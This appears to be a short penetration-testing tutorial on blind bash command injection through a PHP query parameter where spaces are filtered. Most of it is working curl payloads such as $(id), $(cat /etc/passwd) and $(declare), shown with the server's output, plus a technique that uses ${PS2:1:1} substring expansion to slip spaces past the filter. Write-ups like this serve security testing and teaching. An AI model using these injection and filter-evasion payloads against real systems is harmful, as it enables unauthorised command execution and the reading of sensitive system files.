Assume this example blackbox scenario, where we found some bash command injetion, but some commands are filtered/not executed:
$(id):
$ curl "http://target/path/vulnerable.php?vulnvar=$(id)" uid=48(apache) gid=48(apache) groups=14(uucp),48(apache),501(nagios),600(nagiocmd)$(ls):
$ curl "http://target/path/vulnerable.php?vulnvar=$(ls)" vulnerable.php index.php$(cat /etc/passwd):
$ curl "http://target/path/vulnerable.php?vulnvar=$(cat /etc/passwd)" [no output](space filtered? or no permissions + stderr not forwarded? lets check it out..) $(ls >/tmp/test):
$ curl "http://target/path/vulnerable.php?vulnvar=$(ls >/tmp/test)" [no output]$(cat</tmp/test):
$ curl "http://target/path/vulnerable.php?vulnvar=$(cat</tmp/test)" [no output](maybe the ls before was not executed) $(ls>/tmp/test):
$ curl "http://target/path/vulnerable.php?vulnvar=$(ls>/tmp/test)" [no output]$(cat</tmp/test):
$ curl "http://target/path/vulnerable.php?vulnvar=$(cat</tmp/test)" vulnerable.php index.phpwe got it! it's the space that is filtered out and prevents our injection to be successful.
but how we manage to execute a command that needs a parameter without using a space?
The solution is to get out a space in some "bash way", and here the Shell Parameter expansion comes to play. With this functionality we can extract a substring from a arbitrary variable:
${parameter:offset:length}
Expands to up to length characters of parameter starting at the character specified by offset. If length is omitted, expands to the substring of parameter starting at the character specified by offset. length and offset are arithmetic expressions (see Shell Arithmetic). This is referred to as Substring Expansion.
First we need to fine some variable containing a 'space' char, so search it in the current environment:
$(declare>/tmp/test):
$ curl "http://target/path/vulnerable.php?vulnvar=$(declare>/tmp/test)" [no output]$(cat</tmp/test):
$ curl "http://target/path/vulnerable.php?vulnvar=$(cat</tmp/test)" [...] LESSOPEN='|/usr/bin/lesspipe.sh %s' LINES=39 MAIL=/var/spool/mail/root MAILCHECK=60 OLDPWD=/root OPTERR=1 OPTIND=1 OSTYPE=linux-gnu PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/opt/ruby192/bin:/root/bin PIPESTATUS=([0]="0") PPID=8851 PRELINKING=yes PRELINK_FULL_TIME_INTERVAL=14 PRELINK_NONRPM_CHECK_INTERVAL=7 PRELINK_OPTS=-mR PROMPT_COMMAND='printf "\033]0;%s@%s:%s\007" "${USER}" "${HOSTNAME%%.*}" "${PWD/#$HOME/~}"' PS1='[\u@\h \W]\$ ' PS2='> ' PS4='+ ' [...]
so in this case we can use LESSOPEN, PS2, PS4 or some other variable, lets take PS2 for semplicity, and extract its space char:
${PS2:1:1}
now we can write arbitrary commands with parameters (and spaces) substituting each space with the ${PS2:1:1} string: $(ls${PS2:1:1}-l${PS2:1:1}/):
$ curl "http://target/path/vulnerable.php?vulnvar=$(ls${PS2:1:1}-l${PS2:1:1}/)" drwxr-xr-x 2 root root 4096 May 7 11:20 bin drwxr-xr-x 4 root root 3072 May 30 2012 boot drwxr-xr-x 6 nagios neteye 4096 Aug 21 2013 data drwxr-xr-x 10 root root 3960 Jun 26 18:05 dev drwxr-xr-x 126 root root 12288 Jul 23 04:04 etc drwxr-xr-x 5 root root 4096 Jun 23 11:38 home -rw-r--r-- 1 root root 31 Feb 4 2011 ks.log drwxr-xr-x 14 root root 12288 May 7 11:20 lib drwx------ 2 root root 16384 Sep 25 2010 lost+found drwxr-xr-x 3 root root 4096 Jun 13 14:12 media drwxr-xr-x 2 root root 4096 Apr 20 2012 misc drwxr-xr-x 2 root root 4096 Aug 21 2013 mnt dr-xr-xr-x 2 root root 4096 May 10 2011 net drwxr-xr-x 5 root root 4096 Mar 26 17:20 opt dr-xr-xr-x 131 root root 0 Jun 13 14:12 proc drwxr-x--- 58 root root 16384 Jul 24 09:26 root drwxr-xr-x 2 root root 12288 May 7 11:20 sbin drwxr-xr-x 2 root root 4096 May 11 2011 selinux drwxr-xr-x 2 root root 4096 May 11 2011 srv drwxr-xr-x 11 root root 0 Jun 13 14:12 sys drwxrwxrwt 7 root root 28672 Jul 24 11:47 tmp drwxr-xr-x 15 root root 4096 Oct 19 2011 usr drwxr-xr-x 30 root root 4096 Jul 18 09:06 var
happy hacking ;)